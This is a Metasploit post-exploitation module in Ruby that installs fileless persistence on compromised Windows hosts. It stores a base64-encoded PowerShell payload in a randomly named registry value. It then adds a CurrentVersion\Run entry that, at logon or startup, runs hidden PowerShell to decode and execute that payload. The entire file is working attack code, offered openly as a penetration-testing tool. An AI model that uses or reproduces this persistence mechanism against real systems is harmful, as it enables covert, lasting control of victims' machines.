##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/powershell'
require 'msf/core/post/file'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::Powershell
  include Msf::Post::Windows::Registry
  include Msf::Post::File

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Windows Registry Only Persistence',
      'Description'    => %q{
        This module will install a payload that is executed during boot.
        It will be executed either at user logon or system startup via the registry
        value in "CurrentVersion\Run" (depending on privilege and selected method).
        The payload will be installed completely in registry.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Donny Maasland <donny.maasland[at]fox-it.com>',
        ],
      'Platform'       => [ 'win' ],
      'SessionTypes'   => [ 'meterpreter', 'shell' ],
      'Targets'        =>
        [
          [ 'Automatic', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => "Jul 1 2015",
      'DefaultOptions' =>
        {
          'DisablePayloadHandler' => 'true'
        }
    ))

    register_options([
      OptEnum.new('STARTUP',
        [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
      OptString.new('BLOB_REG_KEY',
        [false, 'The registry key to use for storing the payload blob. (Default: random)' ]),
      OptString.new('BLOB_REG_NAME',
        [false, 'The name to use for storing the payload blob. (Default: random)' ]),
      OptString.new('RUN_NAME',
        [false, 'The name to use for the \'Run\' key. (Default: random)' ]),
      OptBool.new('CREATE_RC',
        [false, 'Create a resource file for cleanup', true]),
      OptInt.new('SLEEP_TIME',
        [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),
    ], self.class)
  end

  def generate_payload_blob
    opts = {
      use_single_quotes: true,
      encode_final_payload: true,
    }
    blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first, opts).split(' ')[-1]
    return blob
  end

  def generate_cmd(root_path, blob_key_name, blob_key_reg)
    cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
    return cmd
  end

  def generate_blob_reg
    blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}"
    blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8)
    return blob_reg_key, blob_reg_name
  end

  def generate_cmd_reg
    cmd_reg = datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
    return cmd_reg
  end

  def install_blob(root_path, blob, blob_reg_key, blob_reg_name)
    blob_reg_key = "#{root_path}\\#{blob_reg_key}"
    new_key = false
    if not registry_enumkeys(blob_reg_key)
      unless registry_createkey(blob_reg_key)
        fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}")
      end
      print_good("Created registry key #{blob_reg_key}")
      new_key = true
    end

    unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ")
      fail_with(Failure::Unknown,'Failed to open the registry key for writing')
    end
    print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}")
    return new_key
  end

  def install_cmd(cmd, cmd_reg, root_path)
    unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cmd_reg, cmd, 'REG_EXPAND_SZ')
      fail_with(Failure::Unknown,'Could not install run key')
    end
    print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{cmd_reg}")
  end

  def get_root_path
    if datastore['STARTUP'] == 'USER'
      root_path = 'HKCU'
    else
      root_path = 'HKLM'
    end
    return root_path
  end

  def log_file(log_path = nil) # Thanks Meatballs for this
    # Get hostname
    host = session.session_host

    # Create Filename info to be appended to downloaded files
    filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

    # Create a directory for the logs
    if log_path
      logs = ::File.join(log_path, 'logs', 'persistence',
      Rex::FileUtils.clean_path(host + filenameinfo))
    else
      logs = ::File.join(Msf::Config.log_directory, 'persistence',
      Rex::FileUtils.clean_path(host + filenameinfo))
    end

    # Create the log directory
    ::FileUtils.mkdir_p(logs)

    # logfile name
    logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc')
    logfile
  end

  def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) # Thanks Meatballs for this
    clean_rc = log_file()
    @clean_up_rc = ""
    @clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"
    if new_key
      @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
    end
    @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n"
    file_local_write(clean_rc, @clean_up_rc)
    print_status("Clean up Meterpreter RC file: #{clean_rc}")

    report_note(:host => session.session_host,
      type: 'host.persistance.cleanup',
      data:  {
        local_id:     session.sid,
        stype:        session.type,
        desc:         session.info,
        platform:     session.platform,
        via_payload:  session.via_payload,
        via_exploit:  session.via_exploit,
        created_at:   Time.now.utc,
        commands:     @clean_up_rc
      }
    )
  end

  def check
    unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
      return Msf::Exploit::CheckCode::Safe
    end
    return Msf::Exploit::CheckCode::Vulnerable
  end

  def exploit
    unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
      print_warning('Warning: PowerShell does not seem to be available, persistence might fail')
    end

    print_status('Generating payload blob..')
    blob = generate_payload_blob
    print_good("Generated payload, #{blob.length} bytes")

    root_path = get_root_path
    print_status("Root path is #{root_path}")

    blob_reg_key, blob_reg_name = generate_blob_reg
    cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name)
    cmd_reg = generate_cmd_reg

    print_status('Installing payload blob..')
    new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name)

    print_status('Installing run key')
    install_cmd(cmd, cmd_reg, root_path)

    if datastore['CREATE_RC']
      create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
    end
  end
end